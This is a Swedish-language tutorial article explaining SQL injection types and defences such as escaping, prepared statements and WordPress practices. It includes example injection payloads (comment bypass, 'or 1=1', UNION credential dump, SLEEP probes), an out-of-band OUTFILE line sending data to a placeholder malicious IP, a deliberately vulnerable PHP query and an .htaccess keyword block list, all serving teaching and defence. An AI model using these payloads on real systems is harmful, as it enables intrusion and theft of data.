SQL (Structured Query Language) är ett språk som låter oss interagera med databaser. Moderna webbapplikationer använder databaser för att hantera data och visa dynamiskt innehåll för läsarna.

SQL-injektion, eller SQLi, är en attack på en webbapplikation genom att kompromettera dess databas genom skadliga SQL-uttryck.

Eftersom det är en vanlig attack ska vi nu försöka lära oss mer om vad det är, hur det händer och hur du försvarar dig från det.

Redo? Nu börjar vi!

Vad är SQL-injektion?

En SQL-injektionssårbarhet ger en angripare fullständig åtkomst till programmets databas genom användning av skadliga SQL-uttryck.

I det här avsnittet delar vi ett exempel på hur en sårbar applikation ser ut.

Föreställ dig arbetsflödet för en typisk webbapplikation som innebär databasförfrågningar via användarinmatningar. Du tar användarinmatningen via ett formulär, till exempel ett inloggningsformulär. Du förfrågar sedan din databas med de fält som användaren skickar in för att autentisera dem. Strukturen av förfrågningen till din databas går ungefär så här:

Hur fungerar SQL-injektionssårbarhet?

En SQL-injektionssårbarhet ger en angripare fullständig åtkomst till programmets databas genom användning av skadliga SQL-uttryck.

I det här avsnittet delar vi ett exempel på hur en sårbar applikation ser ut.

Föreställ dig arbetsflödet för en typisk webbapplikation som innebär databasförfrågningar via användarinmatningar. Du tar användarinmatningen via ett formulär, till exempel ett inloggningsformulär. Du förfrågar sedan din databas med de fält som användaren skickar in för att autentisera dem. Strukturen av förfrågningen till din databas går ungefär så här:

select * from user_table
where username = 'sdaityari'
and password = 'mypassword';

För enkelhetens skull, låt oss anta att du lagrar dina lösenord som tydlig text. Det är dock en god praxis att salta dina lösenord och sedan hasha dem. Vidare, om du har fått användarnamn och lösenord från formuläret, kan du definiera förfrågningen i PHP enligt följande:

// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query

Om någon anger värdet ”admin’;–” i fältet ”username” kommer den resulterande SQL-förfrågningen som variabeln $db_query genererar att vara enligt följande:

select * from user_table where
username = 'admin';--' and password = 'mypassword'

Vad gör den här förfrågningen?

En kommentar i SQL börjar med dubbla streck (–). Den resulterande förfrågningen filtrerar endast användarnamnet utan att ta hänsyn till lösenordet. Om det inte fanns någon säkerhet på plats för att undvika detta, skulle du helt enkelt beviljas administrativ åtkomst till webbapplikationen bara genom att använda det här tricket.

Alternativt kan en boolesk attack också användas i detta exempel för att få åtkomst. Om en angripare anger ”password’ or 1=1;–” i lösenordsfältet skulle den resulterande förfrågningen vara enligt följande:

select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';

I det här fallet skulle du autentiseras för programmet även om ditt lösenord vore fel. Om din webbsida visar resultaten av databasförfrågningen, kan en angripare använda kommandot Visa tabeller, begära att få se tabellerna i databasen, och sedan selektivt kasta tabeller om de så önskar.

En tecknad film på SQL-injektion
En tecknad film på SQL-injektion (bildkälla: XKCD)

Exploits of a Mom, en populär serie av XKCD, visar konversationen mellan en mamma och hennes sons skola, där hon tillfrågas om hon verkligen döpte sin son ”Robert’); DROP TABLE Students; –”.

Typer av SQL-injektion

Nu när du kan grunderna i en SQL-injektionssårbarhet, låt oss utforska de olika typerna av SQL-injektionsattacker och orsaken bakom var och en av dem.

In-Band SQL-injektion

In-Band SQL-injektion är den enklaste formen av SQL-injektion. I denna process kan angriparen använda samma kanal för att infoga skadlig SQL-kod i programmet som för att samla in resultaten. Vi kommer att diskutera två former av in-band SQL-injektionsattacker:

Felbaserad attack

En angripare använder en felbaserad SQL-injektionsteknik under de inledande faserna av sin attack. Tanken bakom en felbaserad SQL-injektion är att få ytterligare information om databasstrukturen och tabellnamn som webbapplikationen följer. Ett felmeddelande kan till exempel innehålla tabellnamnet som ingår i förfrågningen, och tabellens kolumnnamn. Dessa data kan sedan användas för att skapa nya attacker.

Unionsbaserad Attack

I den här metoden använder en angripare SQL union join för att visa resultaten från en annan tabell. Till exempel, om en angripare är på en söksida, kan de lägga till resultaten från en annan tabell.

select title, link from post_table
where id < 10
union
select username, password
from user_table; --;

Inferentiell SQL-injektion (blind SQL-injektion)

Även om en angripare genererar ett fel i SQL-förfrågningen kanske svaret på förfrågningen inte överförs direkt till webbsidan. I så fall måste angriparen söka ytterligare.

I denna form av SQL-injektion skickar angriparen olika förfrågningar till databasen för att bedöma hur applikationen analyserar dessa svar. En inferentiell SQL-injektion är ibland också känd som blind SQL-injektion. Vi kommer att titta på två typer av inferentiella SQL-injektioner nedan: boolesk SQL-injektion och tidsbaserad SQL-injektion.

Boolesk attack

Om en SQL-förfrågning resulterar i ett fel som inte har hanterats internt i programmet kan den resulterande webbsidan visa ett fel, ladda en tom sida eller endast laddas delvis. I en boolesk SQL-injektion bedömer en angripare vilka delar av en användares inmatning som är sårbara för SQL-injektioner genom att testa två olika versioner av en boolesk klausul genom inmatningen:

  • ”… and 1=1”
  • ”… and 1=2”

Om programmet fungerar normalt i det första fallet men visar en anomali i det andra fallet indikerar det att programmet är sårbart för en SQL-injektionsattack.

Tidsbaserad attack

En tidsbaserad SQL-injektionsattack kan också hjälpa en angripare avgöra om en sårbarhet är närvarande i en webbapplikation. En angripare använder en fördefinierad tidsbaserad funktion av databashanteringssystemet som används av programmet. Tillexempel, i MySQL instruerar funktionen sleep() databasen att vänta på ett visst antal sekunder.

select * from comments
WHERE post_id=1-SLEEP(15);

Om en sådan förfrågning resulterar i en fördröjning skulle angriparen veta att den var sårbar.

Out-of-Band SQL-injektion

När en angripare inte kan samla in resultaten av en SQL-injektion via samma kanal kan out-of-band SQL-injektionstekniker användas som ett alternativ till inferentiella SQL-injektionstekniker.

Vanligtvis innebär dessa tekniker att skicka data från databasen till en skadlig plats. Denna process är mycket beroende av funktionerna i databashanteringssystemet också.

En out-of-band SQL-injektionsattack använder en extern filprocesskapacitet i dina databashanteringssystem (DBMS). I MySQL kan funktionerna LOAD_FILE() och INTO OUTFILE användas för att be MySQL att överföra data till en extern källa. Så här kan en angripare använda OUTFILE för att skicka resultaten av en förfrågning till en extern källa:

select * from post_table
into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'

På samma sätt kan funktionen LOAD_FILE() användas för att läsa en fil från servern och visa dess innehåll. En kombination av LOAD_FILE() och OUTFILE kan användas för att läsa innehållet i en fil på servern och sedan överföra den till en annan plats.

Så förhindrar du SQL-injektioner

Hittills har vi utforskat sårbarheterna i en webbapplikation som kan leda till SQL-injektionsattacker. En SQL-injektionssårbarhet kan användas av en angripare för att läsa, ändra eller till och med ta bort innehållet i din databas.

Dessutom kan det också göra det möjligt att läsa en fil på vilken plats som helst inom servern och överföra innehållet någon annanstans. I det här avsnittet utforskar vi olika tekniker för att skydda din webbapplikation och webbplats mot SQL-injektionsattacker.

Undvik användarinmatningar

Generellt sett är det en svår uppgift att avgöra om en användarsträng är skadlig eller inte. Därför är det bäst att undkomma specialtecken i användarinmatningar.

Denna process räddar dig från en SQL-injektionsattack. Du kan undkomma en sträng innan du bygger förfrågningen i PHP med funktionen mysql_escape_string() function. Du kan också undkomma en sträng i MySQL med hjälp av funktionen mysqli_real_escape_string().

När du visar utmatningen som HTML måste du också konvertera strängen för att se till att specialtecknen inte stör HTML-märkningen. Du kan konvertera specialtecken i PHP med funktionen htmlspecialchars().

Använd förberedda uttryck

Alternativt kan du använda förberedda uttryck för att undvika SQL-injektioner. Ett förberett uttryck är en mall för en SQL-förfrågning, där du anger parametrar i ett senare skede för att exekvera den. Här är ett exempel på ett förberett uttryck i PHP och MySQLi.

$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));

Andra hälsokontroller för att förhindra SQL-attacker

Nästa steg i att mildra denna sårbarhet är att begränsa åtkomsten till databasen till endast det som är nödvändigt.

Till exempel – anslut din webbapplikation till DBMS med hjälp av en specifik användare, som har åtkomst till endast den relevanta databasen.

Begränsa åtkomsten för databasanvändaren till alla andra platser på servern. Du kanske också vill blockera vissa SQL-sökord i webbadressen via webbservern. Om du använder Apache som webbserver kan du använda följande kodrader i din .htaccess-fil för att visa ett 403 Förbjudet fel för en potentiell angripare.

Du bör vara försiktig när du använder denna teknik eftersom Apache kommer att visa ett fel för läsaren om webbadressen innehåller dessa sökord.

RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]

Som ett extra förebyggande tips bör du alltid använda uppdaterad programvara. När en ny version eller en patch släpps, beskrivs buggarna som fixades i uppdateringen i versionsanteckningar. När detaljerna i en bugg är ute för allmänheten, kan det vara riskabelt att köra en gammal version av programvara.

SQL-injektion i WordPress

Du är säker från SQL-injektionssårbarheter om du använder uppdaterade WordPress-kärnfiler. Men när du använder tredjepartsteman och plugins, är hela din applikation i riskzonen.

Din WordPress-sajt är bara lika stark som dess svagaste länk. I det här avsnittet utforskar vi de viktigaste faktorerna för att mildra SQL-injektionssårbarhet i WordPress och hur du utför sårbarhetskontroller på din befintliga WordPress-sajt.

SQL-injektionssårbarhetsförebyggande för WordPress

För att mildra sårbarheten för SQL-injektion i ditt WordPresstema eller plugin, är den enda regel du måste följa att alltid använda befintliga WordPress-funktioner när du interagerar med databasen.

Dessa funktioner testas noggrant för SQL-injektionssårbarheter under WordPress-utvecklingsprocessen. Till exempel, om du vill lägga till en kommentar till ett inlägg, använd wp_insert_comment()-funktionen i stället för att infoga data direkt i wp_comments-tabellen.

Medan funktionerna är utbyggbara kan du ibland behöva köra en komplex förfrågning. I så fall, se till att du använder funktionsgruppen $wp_db. Du kan använda $wpdb->prepare() för att undkomma användarinmatning innan du skapar förfrågningen.

Dessutom är det här en lista över funktioner för att sanera data i WordPress. Dessa hjälper dig att undkomma specifika typer av användarinmatningar som e-post och webbadresser.

Säkra din WordPress-sajt

Medan själva WordPress är säkert, kan problem som föråldrad kärnprogramvara, och ogiltiga plugins leda till sårbarheter. Även om det inte finns något alternativ för att kontrollera din WordPress-sajt för SQL-injektionssårbarheter noggrant kan komplexiteten i en webbplats göra denna uppgift utmanande.

Du kan använda ett webbaserat skanningsverktyg som ThreatPass och WPScan Vulnerability Database. Du kan granska dina plugins för att se om deras utveckling har stannat upp. Om de övergavs för ett tag sedan kanske det inte är en bra idé att använda dem på din webbplats.

Om du fortfarande absolut behöver använda dem, se till att du noggrant testar deras kod och funktionalitet för sårbarheter. Annat än detta, se till att du följer dessa hälsokontroller:

  • Uppdatera PHP, WordPress-kärnan och MySQL
  • Uppdatera tredjeparts-plugin och teman
  • Undvik att använda rotanvändaren för att ansluta till SQL-databasen
  • Begränsa åtkomst för SQL-användaren till känsliga kataloger
  • Blockera SQL-nyckelord med din server
  • Spara säkerhetskopior av din webbplats utanför webbplatsen i fall det uppstår oåterkallelig skada

Här är ett detaljerat inlägg om WordPress-säkerhet och en uttömmande förteckning över saker att kontrollera. Vidare kanske du vill investera i dessa topprankade säkerhetsplugins för WordPress. Så här ska du göra om din WordPress-sajt hackas trots alla dina ansträngningar.

Är SQL-injektion olagligt?

Definitivt, ja! Även om det finns en faktisk sårbarhet försöker en angripare fortfarande få åtkomst till data som inte skulle vara tillgängliga för dem annars.

Föreställ dig ett scenario där någon lämnar sina nycklar i bilen. Är det ett brott att köra iväg med den bara för att den lämnades öppen och obevakad? SQLi faller under olika lagar i olika länder. Det faller under Computer Fraud and Abuse Act (1986) i USA och Computer Misuse Act (1990) i Storbritannien.

Sammanfattning

SQL-injektionssårbarheter upptäcktes för länge sedan. En rapport från 2018 om hackade webbplatser föreslår dock att SQLi är det vanligaste webbplatshacket för WordPress, räknat efter XSS-attacker. För att förhindra att de inträffar bör du:

  • Förstå hur en SQL-injektionssårbarhet fungerar
  • Utforska olika sätt på vilka angripare kan använda SQLi för att få obehörig åtkomst till din webbapplikation
  • Implementera metoder för att skydda din webbplats från SQLi-attacker, som att undvika användarinmatningar och använda förberedda uttryck
  • Följ en säkerhetskontrollsrutin

Som det gamla ordspråket säger, ”det är bäst att ta det säkra före det osäkra”!

Shaumik Daityari

Shaumik är en dataanalytiker på dagen, och en serietidningsentusiast på natten (eller han är kanske Batman?) Shaumik har skrivit tutorials och skapat screencasts i över fem år. När han inte arbetar är han upptagen med att automatisera vardagliga uppgifter genom noggrant skrivna skript!